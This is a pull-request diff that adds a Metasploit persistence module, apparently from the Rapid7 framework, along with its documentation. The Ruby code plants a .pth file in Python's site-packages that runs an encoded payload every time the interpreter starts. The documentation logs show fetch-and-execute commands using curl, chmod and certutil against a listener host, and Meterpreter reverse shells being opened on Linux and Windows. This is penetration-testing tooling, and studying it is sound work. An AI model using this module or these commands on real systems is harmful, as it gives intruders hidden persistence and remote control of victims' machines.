Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,99 @@
## Vulnerable Application

This module leverages Python's startup mechanism, where some files can be automically processed during the initialization of the Python interpreter. One of those files are startup hooks (site-specific, dist-packages). If these files are present in `site-specific` or `dist-packages` directories, any lines beginning with `import` will be executed automatically. This creates a persistence mechanism, if an attacker has established access to target machine with sufficient permissions.

## Verification Steps
Example steps in this format (is also in the PR):

1. Start msfconsole
1. Get a session
1. Do: `use multi/persistence/python_site_specific_hook`
1. Do: `set session #`
1. Do: `run`

## Options

### PYTHON_HOOK_PATH

If user has session to target machine with non-typical Python paths, they can set their own path to Python hooks.

### EXECUTION_TARGET

Python has multiple locations, where it can store startup hooks. This option specifies if the target location should be SYSTEM one - i.e. should affect all users - or USER one, which targets current user.

## Scenarios

### Linux pop-os 6.17.4-76061704-generic

```
msf exploit(multi/persistence/python_site_specific_hook) > run verbose=true
[*] Command to run on remote host: curl -so ./xtLDGMnHcvHv http://192.168.3.7:8080/EO6WzfXF6CGyqdBiy1rT5w;chmod +x ./xtLDGMnHcvHv;./xtLDGMnHcvHv&
[*] Exploit running as background job 9.
[*] Exploit completed, but no session was created.

[*] Fetch handler listening on 192.168.3.7:8080
[*] HTTP server started
[*] Adding resource /EO6WzfXF6CGyqdBiy1rT5w
msf exploit(multi/persistence/python_site_specific_hook) > [*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Python is present on the system
[*] Detected Python version 3.10
[*] Got path to site-specific hooks /usr/local/lib/python3.10/dist-packages/
[*] Creating directory /usr/local/lib/python3.10/dist-packages/
[*] /usr/local/lib/python3.10/dist-packages/ created
[*] Client 192.168.3.7 requested /EO6WzfXF6CGyqdBiy1rT5w
[*] Sending payload to 192.168.3.7 (curl/7.81.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 192.168.3.7
[*] Meterpreter session 4 opened (192.168.3.7:4444 -> 192.168.3.7:34170) at 2025-11-19 07:04:54 +0100

msf exploit(multi/persistence/python_site_specific_hook) > sessions 4
[*] Starting interaction with 4...

meterpreter > sysinfo
Computer : 172.16.187.129
OS : Pop 22.04 (Linux 6.17.4-76061704-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > getuid
Server username: ms

```

### Windows 10.0.15063
```
msf exploit(multi/persistence/python_site_specific_hook) > run verbose=true
[*] Command to run on remote host: certutil -urlcache -f http://192.168.3.7:8080/P0P_l8MTdDPpi4BXoUKxZw %TEMP%\RAKYJqUXyJK.exe & start /B %TEMP%\RAKYJqUXyJK.exe
[*] Exploit running as background job 7.
[*] Exploit completed, but no session was created.
msf exploit(multi/persistence/python_site_specific_hook) >
[*] Fetch handler listening on 192.168.3.7:8080
[*] HTTP server started
[*] Adding resource /P0P_l8MTdDPpi4BXoUKxZw
[*] Started reverse TCP handler on 192.168.3.7:9999
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Python is present on the system
[*] Detected Python version 3.13
[*] Got path to site-specific hooks C:\Users\msfuser/AppData/Local/Programs/Python/Python313/Lib/site-packages/
[*] Client 10.5.132.155 requested /P0P_l8MTdDPpi4BXoUKxZw
[*] Sending payload to 10.5.132.155 (Microsoft-CryptoAPI/10.0)
[*] Client 10.5.132.155 requested /P0P_l8MTdDPpi4BXoUKxZw
[*] Sending payload to 10.5.132.155 (CertUtil URL Agent)
[*] Sending stage (230982 bytes) to 10.5.132.155
[*] Meterpreter session 3 opened (192.168.3.7:9999 -> 10.5.132.155:51726) at 2025-11-19 07:52:00 +0100

msf exploit(multi/persistence/python_site_specific_hook) > sessions 3
[*] Starting interaction with 3...

meterpreter > sysinfo
Computer : WIN10_1703_1018
OS : Windows 10 1703 (10.0 Build 15063).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter > getuid
Server username: WIN10_1703_1018\msfuser

```
2 changes: 1 addition & 1 deletion lib/msf/core/mitre/attack/technique.rb
Original file line number Diff line number Diff line change
Expand Up @@ -796,7 +796,7 @@ module Technique
T1546_015_COMPONENT_OBJECT_MODEL_HIJACKING = 'T1546.015'
T1546_016_INSTALLER_PACKAGES = 'T1546.016'
T1546_017_UDEV_RULES = 'T1546.017'

T1546_018_PYTHON_STARTUP_HOOKS = 'T1546.018'
T1547_BOOT_OR_LOGON_AUTOSTART_EXECUTION = 'T1547'
T1547_001_REGISTRY_RUN_KEYS_STARTUP_FOLDER = 'T1547.001'
T1547_002_AUTHENTICATION_PACKAGE = 'T1547.002'
Expand Down
109 changes: 109 additions & 0 deletions modules/exploits/multi/persistence/python_site_specific_hook.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,109 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html

include Msf::Post::Linux::Priv
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Exploit::Local::Persistence
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Python Site-Specific Hook Persistence',
'Description' => %q{
This module leverages Python's startup mechanism, where some files can be automically processed during the initialization of the Python interpreter. One of those files are startup hooks (site-specific, dist-packages). If these files are present in site-specific or dist-packages directories, any lines beginning with import will be executed automatically. This creates a persistence mechanism, if an attacker has established access to target machine with sufficient permissions.
},
'License' => MSF_LICENSE,
'Author' => [
'msutovsky-r7', # msf module
],
'Platform' => ['linux', 'windows', 'osx'],
'Arch' => [ ARCH_CMD ],
'SessionTypes' => [ 'meterpreter', 'shell' ],
'Targets' => [[ 'Auto', {} ]],
'References' => [
[ 'URL', 'https://docs.python.org/3/library/site.html'],
['ATT&CK', Mitre::Attack::Technique::T1546_018_PYTHON_STARTUP_HOOKS],
],
'DisclosureDate' => '2012-09-29',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('PYTHON_HOOK_PATH', [false, 'The path to Python site-specific hook directory']),
OptEnum.new('EXECUTION_TARGET', [true, 'Selects if persistence is installed under current user or for all users', 'USER', ['USER', 'SYSTEM']])
])
end

def get_hooks_path
unless datastore['PYTHON_HOOK_PATH'].blank?
@hooks_path = datastore['PYTHON_HOOK_PATH']
return
end
case session.platform
when 'windows', 'win'

case datastore['EXECUTION_TARGET']
when 'USER'
@hooks_path = expand_path("%USERPROFILE%/AppData/Local/Programs/Python/Python#{@python_version.sub('.', '')}/Lib/site-packages/")
when 'SYSTEM'
@hooks_path = "C:/Python#{@python_version.sub('.', '')}/Lib/site-packages/"
end
when 'osx', 'linux'

case datastore['EXECUTION_TARGET']
when 'USER'
@hooks_path = expand_path("$HOME/.local/lib/python#{@python_version}/site-packages/")
when 'SYSTEM'
@hooks_path = "/usr/local/lib/python#{@python_version}/dist-packages/"
end
end
end

def get_python_version
case session.platform
when 'windows', 'win'
cmd_exec('cmd.exe', '/c python3.exe --version 2> nul || python2.exe --version 2> nul || python.exe --version 2> nul || py.exe --version 2> nul') =~ /(\d+.\d+).\d+/
when 'osx', 'linux'
cmd_exec('python3 --version 2>/dev/null || python2 --version 2> /dev/null || python --version 2>/dev/null') =~ /(\d+.\d+).\d+/
end

@python_version = Regexp.last_match(1)
end

def check
get_python_version

return CheckCode::Safe('Python not present on the system') unless @python_version

CheckCode::Vulnerable('Python is present on the system')
end

def install_persistence
get_python_version unless @python_version
print_status("Detected Python version #{@python_version}")
get_hooks_path unless @hooks_path
print_status("Got path to site-specific hooks #{@hooks_path}")

file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10)

if session.platform == 'osx' || session.platform == 'linux'
mkdir(@hooks_path)
end

fail_with(Failure::PayloadFailed, 'Failed to create malicious hook') unless write_file("#{@hooks_path}#{file_name}.pth", %(import os;os.system("#{payload.encoded}") ))
end
end
Loading